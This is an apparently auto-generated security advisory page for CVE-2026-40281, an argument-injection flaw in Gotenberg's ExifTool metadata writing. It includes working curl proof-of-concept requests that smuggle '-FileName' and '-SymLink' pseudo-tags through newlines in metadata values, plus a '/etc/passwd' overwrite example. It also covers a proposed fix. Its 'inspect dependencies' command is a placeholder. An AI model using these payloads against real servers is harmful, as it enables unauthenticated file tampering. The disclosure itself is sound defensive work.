CVE-2026-40281: Github.com/gotenberg/gotenberg/v8 Gotenberg Has ExifTool Stdin Argument Vulnerability

CRITICAL
Advisory Identifier: GHSA-q7r4-hc83-hf2q
CVSS 10.0
CWE-88
Published
Advisory Summary

CVE-2026-40281 is a CRITICAL (CVSS 10.0) gotenberg has exiftool stdin argument vulnerability (CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')) affecting Github.com/gotenberg/gotenberg/v8 libraries in the Go ecosystem. The issue involves gotenberg has exiftool stdin argument injection via metadata value newlines (bypass of key sanitization fix). Remediation is available by upgrading affected packages to version 8.31.0.

CVE-2026-40281 at a Glance

CVE Identifier CVE-2026-40281
GHSA Identifier GHSA-q7r4-hc83-hf2q
Severity CRITICAL
CVSS v3.1 Base Score 10.0
CWE Classification CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
Affected Product Github.com/gotenberg/gotenberg/v8
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 10.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality None (C:N)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-40281

To remediate this vulnerability, upgrade all affected Github.com/gotenberg/gotenberg/v8 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/gotenberg/gotenberg/v8 fixed: 8.31.0
Upgrade github.com/gotenberg/gotenberg/v8 to 8.31.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/gotenberg/gotenberg/v8

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-40281, inspect your project dependencies for Github.com/gotenberg/gotenberg/v8:

inspect dependencies for github.com/gotenberg/gotenberg/v8

Analyze the terminal output to locate any version of Github.com/gotenberg/gotenberg/v8 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 8.31.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection'), where the product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string. In Github.com/gotenberg/gotenberg/v8, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Vulnerability Details **CWE**: CWE-20 - Improper Input Validation The metadata value sanitization introduced in v8.30.1 (commit 405f106) only validates metadata KEYS via safeKeyPattern regex. Metadata VALUES are passed unsanitized to go-exiftool SetString(), which writes them as fmt.Fprintln(e.stdin, "-"+k+"="+str). A newline (\n) in a value splits the ExifTool stdin line into two separate arguments, allowing injection of arbitrary ExifTool pseudo-tags such as -FileName, -Directory, -SymLink, -HardLink. Docker-verified: HTTP 404 returned (file moved), /tmp/inject_proof created in container. This is a bypass of the incomplete fix in v8.30.1. ## Summary The metadata write endpoint in v8.30.1 validates metadata **keys** for control characters (commit 405f106) but leaves metadata **values** unsanitized. go-exiftool's `WriteMetadata` sends each key/value pair to ExifTool's stdin as: ``` fmt.Fprintln(e.stdin, "-"+k+"="+str) ``` A `\n` character in `str` splits this into two separate stdin lines, injecting an arbitrary ExifTool pseudo-tag argument. The attacker controls what comes after the newline, enabling injection of `-FileName`, `-Directory`, `-SymLink`, `-HardLink`, and other dangerous pseudo-tags — the exact tags the key blocklist was designed to prevent. ## Root Cause `pkg/modules/exiftool/exiftool.go` — `WriteMetadata()` function: ```go // KEY validation added in v8.30.1 (commit 405f106) for key := range metadata { if !safeKeyPattern.MatchString(key) { // ← only keys checked return fmt.Errorf(...) } } // VALUE passed through unsanitized: case string: fileMetadata[0].SetString(key, val) // ← val may contain \n ``` go-exiftool (`barasher/go-exiftool`) then writes: ```go fmt.Fprintln(e.stdin, "-"+k+"="+str) // If str = "test\n-FileName=/tmp/inject_proof" // ExifTool receives two lines: // -Title=test // -FileName=/tmp/inject_proof ``` ## Steps to Reproduce ``` 1. Start Gotenberg: docker run --name gotenberg-test -p 3001:3000 gotenberg/gotenberg:8 2. Create a test PDF: curl -s -F 'files=@/dev/stdin;filename=index.html;type=text/html' \ -o test.pdf http://localhost:3001/forms/chromium/convert/html \ <<< '<html><body>test</body></html>' 3. Inject -FileName via value newline: curl -s -w "\nHTTP %{http_code}" \ -F 'files=@test.pdf;type=application/pdf' \ -F 'metadata={"Title":"test\n-FileName=/tmp/inject_proof"}' \ http://localhost:3001/forms/pdfengines/metadata/write # Returns HTTP 404 (file moved away from temp path) 4. Verify injection inside container: docker exec gotenberg-test ls -la /tmp/inject_proof # -rw-r--r-- 1 root root ... /tmp/inject_proof (PDF moved here) 5. Symlink injection: curl -s -w "\nHTTP %{http_code}" \ -F 'files=@test.pdf;type=application/pdf' \ -F 'metadata={"Title":"test\n-SymLink=/tmp/sym_inject"}' \ http://localhost:3001/forms/pdfengines/metadata/write docker exec gotenberg-test ls -la /tmp/sym_inject # lrwxrwxrwx ... /tmp/sym_inject -> /tmp/.../source.pdf ``` ## Impact An unauthenticated attacker can: 1. **Rename/move** any PDF being processed to an arbitrary path in the container filesystem (running as root by default) 2. **Overwrite** arbitrary files — e.g., `-Directory=/etc/ -FileName=passwd` injects two lines, moving the PDF to `/etc/passwd`, corrupting the system user database 3. **Create symlinks** at arbitrary paths via `-SymLink=`, enabling subsequent read/write primitives 4. **Create hard links** via `-HardLink=`, persisting data beyond temp directory cleanup This is a complete bypass of the key-sanitization fix introduced in v8.30.1 (commit 405f106). The fix validated the wrong side of the `=` sign. ## Proposed Fix Add value sanitization parallel to the existing key check in `WriteMetadata`: ```go for key, value := range metadata { if !safeKeyPattern.MatchString(key) { return fmt.Errorf("write PDF metadata with ExifTool: invalid metadata key %q", key) } if str, ok := value.(string); ok { if strings.ContainsAny(str, "\n\r\x00") { return fmt.Errorf("write PDF metadata with ExifTool: invalid value for key %q (contains control character)", key) } } } ``` Or, apply the same `safeKeyPattern` logic to string values, or percent-encode newlines before passing to go-exiftool. ### Vulnerable Code ```go // See description for details ``` ## Steps to Reproduce 1. Set up the application using the default configuration 2. See the vulnerability details above ## Impact This vulnerability may allow an attacker to compromise the application.

CVE-2026-40281 Affected Github.com/gotenberg/gotenberg/v8 Versions

1 component(s)
Fixed Versions:
8.31.0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/gotenberg/gotenberg/v8
Go
< 8.31.0
8.31.0

References

Frequently Asked Questions

What is CVE-2026-40281?
CVE-2026-40281 is a security vulnerability in Github.com/gotenberg/gotenberg/v8 involving Gotenberg has ExifTool stdin argument injection via metadata value newlines (bypass of key sanitization fix) under CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection').
Which Github.com/gotenberg/gotenberg/v8 versions are affected?
Affected versions include releases prior to 8.31.0 across affected packages: github.com/gotenberg/gotenberg/v8.
What version fixes CVE-2026-40281?
Upgrading to 8.31.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/gotenberg/gotenberg/v8 affected?
Yes, github.com/gotenberg/gotenberg/v8 is affected in releases prior to 8.31.0. Upgrade your dependency to 8.31.0 or later.
What is the CVSS score of CVE-2026-40281?
CVE-2026-40281 has a CVSS v3.1 base score of 10.0 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H.
What CWE is associated with CVE-2026-40281?
CVE-2026-40281 is classified under CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') (The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string.).
How can I check Go dependencies for CVE-2026-40281?
Run the dependency tree command: 'inspect dependencies for github.com/gotenberg/gotenberg/v8'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-q7r4-hc83-hf2q",
  "modified" : "2026-05-08T19:26:57Z",
  "published" : "2026-04-30T17:27:10Z",
  "aliases" : [ "CVE-2026-40281" ],
  "summary" : "Gotenberg has ExifTool stdin argument injection via metadata value newlines (bypass of key sanitization fix)",
  "details" : "## Vulnerability Details\n\n**CWE**: CWE-20 - Improper Input Validation\n\nThe metadata value sanitization introduced in v8.30.1 (commit 405f106) only validates metadata KEYS via safeKeyPattern regex. Metadata VALUES are passed unsanitized to go-exiftool SetString(), which writes them as fmt.Fprintln(e.stdin, \"-\"+k+\"=\"+str). A newline (\\n) in a value splits the ExifTool stdin line into two separate arguments, allowing injection of arbitrary ExifTool pseudo-tags such as -FileName, -Directory, -SymLink, -HardLink. Docker-verified: HTTP 404 returned (file moved), /tmp/inject_proof created in container. This is a bypass of the incomplete fix in v8.30.1.\n\n## Summary\n\nThe metadata write endpoint in v8.30.1 validates metadata **keys** for control characters (commit 405f106) but leaves metadata **values** unsanitized. go-exiftool's `WriteMetadata` sends each key/value pair to ExifTool's stdin as:\n\n```\nfmt.Fprintln(e.stdin, \"-\"+k+\"=\"+str)\n```\n\nA `\\n` character in `str` splits this into two separate stdin lines, injecting an arbitrary ExifTool pseudo-tag argument. The attacker controls what comes after the newline, enabling injection of `-FileName`, `-Directory`, `-SymLink`, `-HardLink`, and other dangerous pseudo-tags — the exact tags the key blocklist was designed to prevent.\n\n## Root Cause\n\n`pkg/modules/exiftool/exiftool.go` — `WriteMetadata()` function:\n\n```go\n// KEY validation added in v8.30.1 (commit 405f106)\nfor key := range metadata {\n    if !safeKeyPattern.MatchString(key) {  // ← only keys checked\n        return fmt.Errorf(...)\n    }\n}\n\n// VALUE passed through unsanitized:\ncase string:\n    fileMetadata[0].SetString(key, val)  // ← val may contain \\n\n```\n\ngo-exiftool (`barasher/go-exiftool`) then writes:\n\n```go\nfmt.Fprintln(e.stdin, \"-\"+k+\"=\"+str)\n// If str = \"test\\n-FileName=/tmp/inject_proof\"\n// ExifTool receives two lines:\n//   -Title=test\n//   -FileName=/tmp/inject_proof\n```\n\n## Steps to Reproduce\n\n```\n1. Start Gotenberg:\n   docker run --name gotenberg-test -p 3001:3000 gotenberg/gotenberg:8\n\n2. Create a test PDF:\n   curl -s -F 'files=@/dev/stdin;filename=index.html;type=text/html' \\\n     -o test.pdf http://localhost:3001/forms/chromium/convert/html \\\n     <<< '<html><body>test</body></html>'\n\n3. Inject -FileName via value newline:\n   curl -s -w \"\\nHTTP %{http_code}\" \\\n     -F 'files=@test.pdf;type=application/pdf' \\\n     -F 'metadata={\"Title\":\"test\\n-FileName=/tmp/inject_proof\"}' \\\n     http://localhost:3001/forms/pdfengines/metadata/write\n   # Returns HTTP 404 (file moved away from temp path)\n\n4. Verify injection inside container:\n   docker exec gotenberg-test ls -la /tmp/inject_proof\n   # -rw-r--r-- 1 root root ... /tmp/inject_proof  (PDF moved here)\n\n5. Symlink injection:\n   curl -s -w \"\\nHTTP %{http_code}\" \\\n     -F 'files=@test.pdf;type=application/pdf' \\\n     -F 'metadata={\"Title\":\"test\\n-SymLink=/tmp/sym_inject\"}' \\\n     http://localhost:3001/forms/pdfengines/metadata/write\n   docker exec gotenberg-test ls -la /tmp/sym_inject\n   # lrwxrwxrwx ... /tmp/sym_inject -> /tmp/.../source.pdf\n```\n\n## Impact\n\nAn unauthenticated attacker can:\n\n1. **Rename/move** any PDF being processed to an arbitrary path in the container filesystem (running as root by default)\n2. **Overwrite** arbitrary files — e.g., `-Directory=/etc/ -FileName=passwd` injects two lines, moving the PDF to `/etc/passwd`, corrupting the system user database\n3. **Create symlinks** at arbitrary paths via `-SymLink=`, enabling subsequent read/write primitives\n4. **Create hard links** via `-HardLink=`, persisting data beyond temp directory cleanup\n\nThis is a complete bypass of the key-sanitization fix introduced in v8.30.1 (commit 405f106). The fix validated the wrong side of the `=` sign.\n\n## Proposed Fix\n\nAdd value sanitization parallel to the existing key check in `WriteMetadata`:\n\n```go\nfor key, value := range metadata {\n    if !safeKeyPattern.MatchString(key) {\n        return fmt.Errorf(\"write PDF metadata with ExifTool: invalid metadata key %q\", key)\n    }\n    if str, ok := value.(string); ok {\n        if strings.ContainsAny(str, \"\\n\\r\\x00\") {\n            return fmt.Errorf(\"write PDF metadata with ExifTool: invalid value for key %q (contains control character)\", key)\n        }\n    }\n}\n```\n\nOr, apply the same `safeKeyPattern` logic to string values, or percent-encode newlines before passing to go-exiftool.\n\n### Vulnerable Code\n\n```go\n// See description for details\n```\n\n## Steps to Reproduce\n\n1. Set up the application using the default configuration\n2. See the vulnerability details above\n\n\n## Impact\n\nThis vulnerability may allow an attacker to compromise the application.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/gotenberg/gotenberg/v8"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "8.31.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 8.30.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-q7r4-hc83-hf2q"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40281"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gotenberg/gotenberg/commit/405f1069c026bb08f319fb5a44e5c67c33208318"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/gotenberg/gotenberg"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gotenberg/gotenberg/releases/tag/v8.31.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-88" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-30T17:27:10Z",
    "nvd_published_at" : "2026-05-06T21:16:01Z"
  }
}